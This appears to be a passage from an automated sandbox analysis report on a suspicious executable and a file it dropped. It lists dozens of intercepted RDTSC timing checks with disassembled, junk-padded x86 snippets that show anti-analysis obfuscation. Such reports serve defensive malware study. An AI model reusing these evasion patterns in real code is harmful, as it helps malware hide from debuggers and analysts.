Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07E4 second address: 50A07EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A07EA second address: 50A081D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, edx 0x0000000b jmp 00007F2FD0BFC0C0h 0x00000010 shr ecx, 02h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A081D second address: 50A0862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032944h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 jmp 00007F2FD1032940h 0x00000018 mov ecx, edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F2FD1032947h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0862 second address: 50A088A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, edi 0x00000011 mov dl, 9Dh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A088A second address: 50A08F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2FD1032947h 0x00000008 jmp 00007F2FD1032948h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rep movsb 0x00000012 jmp 00007F2FD1032940h 0x00000017 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F2FD1032947h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08F1 second address: 50A08F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08F6 second address: 50A08FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A08FC second address: 50A091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2FD0BFC0C3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A091C second address: 50A0939 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0939 second address: 50A09AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c pushad 0x0000000d mov si, B533h 0x00000011 pushfd 0x00000012 jmp 00007F2FD0BFC0C8h 0x00000017 sbb cx, D938h 0x0000001c jmp 00007F2FD0BFC0BBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr fs:[00000000h], ecx 0x0000002a jmp 00007F2FD0BFC0C6h 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F2FD0BFC0BAh 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09AD second address: 50A09B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09B1 second address: 50A09B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09B7 second address: 50A09C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2FD103293Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A09C8 second address: 50A0A14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD0BFC0C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c jmp 00007F2FD0BFC0BEh 0x00000011 pop esi 0x00000012 jmp 00007F2FD0BFC0C0h 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F2FD0BFC0BDh 0x00000020 pop esi 0x00000021 push ebx 0x00000022 pop ecx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A14 second address: 50A0A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD103293Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0A27 second address: 50A04C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov si, 8DDFh 0x00000009 popad 0x0000000a retn 0008h 0x0000000d cmp dword ptr [ebp-2Ch], 10h 0x00000011 mov eax, dword ptr [ebp-40h] 0x00000014 jnc 00007F2FD0BFC0B5h 0x00000016 push eax 0x00000017 lea edx, dword ptr [ebp-00000590h] 0x0000001d push edx 0x0000001e call esi 0x00000020 push 00000008h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F2FD0BFC0C7h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50A0B07 second address: 50A0B57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2FD103293Fh 0x00000009 or al, 0000006Eh 0x0000000c jmp 00007F2FD1032949h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edi 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F2FD1032948h 0x0000001f rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 422B65 second address: 422B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F2FD0BFC0BCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 40E656 second address: 40E678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F2FD1032947h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 40E678 second address: 40E682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 40E682 second address: 40E693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2FD103293Ch 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 40E693 second address: 40E69A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 421BE9 second address: 421C01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F2FD103293Fh 0x0000000e rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 421C01 second address: 421C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 421F26 second address: 421F47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032945h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F2FD1032936h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42220A second address: 42220F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424C62 second address: 424C67 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424C67 second address: 424C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a jmp 00007F2FD0BFC0BAh 0x0000000f pop ecx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ebx 0x00000015 pushad 0x00000016 jmp 00007F2FD0BFC0BCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424D1E second address: 424D23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424D23 second address: 424D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F2FD0BFC0C6h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 jc 00007F2FD0BFC0B8h 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F2FD0BFC0BBh 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jmp 00007F2FD0BFC0C4h 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424D78 second address: 424DC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007F2FD1032936h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f mov dword ptr [ebp+12445642h], esi 0x00000015 push 00000003h 0x00000017 mov ecx, 7C4F7652h 0x0000001c mov dh, 0Eh 0x0000001e push 00000000h 0x00000020 or dx, DF9Eh 0x00000025 push 00000003h 0x00000027 mov edi, eax 0x00000029 call 00007F2FD1032939h 0x0000002e push eax 0x0000002f push edx 0x00000030 push ecx 0x00000031 jmp 00007F2FD1032946h 0x00000036 pop ecx 0x00000037 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424EC1 second address: 424EDD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2FD0BFC0C2h 0x0000000f rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424FA3 second address: 424FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424FA7 second address: 424FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424FAD second address: 424FB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 424FB4 second address: 425007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 je 00007F2FD0BFC0B8h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 jc 00007F2FD0BFC0B8h 0x0000001d pushad 0x0000001e popad 0x0000001f jnl 00007F2FD0BFC0B8h 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007F2FD0BFC0C1h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push ecx 0x00000034 jmp 00007F2FD0BFC0C0h 0x00000039 pop ecx 0x0000003a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4250D1 second address: 42513B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2FD103293Dh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e add edx, 54DDFD73h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F2FD1032938h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 0000001Ch 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov esi, dword ptr [ebp+122D1D7Bh] 0x00000036 clc 0x00000037 call 00007F2FD1032939h 0x0000003c push eax 0x0000003d push edx 0x0000003e jne 00007F2FD1032946h 0x00000044 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42513B second address: 42516A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2FD0BFC0BCh 0x00000008 jne 00007F2FD0BFC0B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007F2FD0BFC0C1h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push edi 0x0000001b jp 00007F2FD0BFC0BCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42516A second address: 42520A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov eax, dword ptr [eax] 0x00000007 jnp 00007F2FD103293Eh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jl 00007F2FD1032947h 0x00000017 push ebx 0x00000018 jmp 00007F2FD103293Fh 0x0000001d pop ebx 0x0000001e pop eax 0x0000001f mov cl, al 0x00000021 push 00000003h 0x00000023 mov edi, dword ptr [ebp+122D31C1h] 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c jmp 00007F2FD1032946h 0x00000031 pop esi 0x00000032 push 00000003h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F2FD1032938h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000015h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e add edi, dword ptr [ebp+122D2ED1h] 0x00000054 call 00007F2FD1032939h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F2FD1032949h 0x00000062 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42520A second address: 425214 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2FD0BFC0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 425214 second address: 425245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2FD103293Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F2FD1032943h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 425245 second address: 42524A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42524A second address: 42528C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2FD1032943h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d je 00007F2FD103293Eh 0x00000013 push ecx 0x00000014 jnl 00007F2FD1032936h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f pushad 0x00000020 jp 00007F2FD103293Ch 0x00000026 jne 00007F2FD1032936h 0x0000002c push eax 0x0000002d push edx 0x0000002e jno 00007F2FD1032936h 0x00000034 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 42528C second address: 4252EF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F2FD0BFC0B8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 jc 00007F2FD0BFC0B9h 0x00000028 movsx esi, dx 0x0000002b call 00007F2FD0BFC0C2h 0x00000030 xor edx, 4A2D8257h 0x00000036 pop ecx 0x00000037 lea ebx, dword ptr [ebp+12449B1Dh] 0x0000003d cmc 0x0000003e xchg eax, ebx 0x0000003f jng 00007F2FD0BFC0C2h 0x00000045 js 00007F2FD0BFC0BCh 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4370DA second address: 4370F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F2FD1032941h 0x0000000b rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 416D65 second address: 416D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44492F second address: 444935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 444935 second address: 44493C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44493C second address: 444947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2FD1032936h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 444947 second address: 44494C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44494C second address: 444952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 444952 second address: 444958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 444AB3 second address: 444AE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2FD1032942h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F2FD103294Fh 0x0000000f rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 444C78 second address: 444C8D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F2FD0BFC0C0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4451EE second address: 4451F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445339 second address: 44533D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4454BA second address: 4454C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4454C2 second address: 4454C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445797 second address: 4457A1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F2FD103293Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44591A second address: 44591E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44591E second address: 445929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445ABA second address: 445ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445ABE second address: 445AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F2FD1032936h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pushad 0x0000000f jmp 00007F2FD1032949h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445C2C second address: 445C41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007F2FD0BFC0B6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c pushad 0x0000000d js 00007F2FD0BFC0B6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445C41 second address: 445C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 445C4F second address: 445C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F2FD0BFC0C1h 0x0000000b popad 0x0000000c push edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 4465E3 second address: 446600 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2FD1032948h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 446894 second address: 44689D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44689D second address: 4468A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44A22B second address: 44A233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44A233 second address: 44A25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F2FD1032936h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F2FD1032948h 0x00000017 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CC9D second address: 44CCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CCA2 second address: 44CCBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F2FD103293Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CCBC second address: 44CCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	RDTSC instruction interceptor: First address: 44CDC5 second address: 44CDE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2FD1032940h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
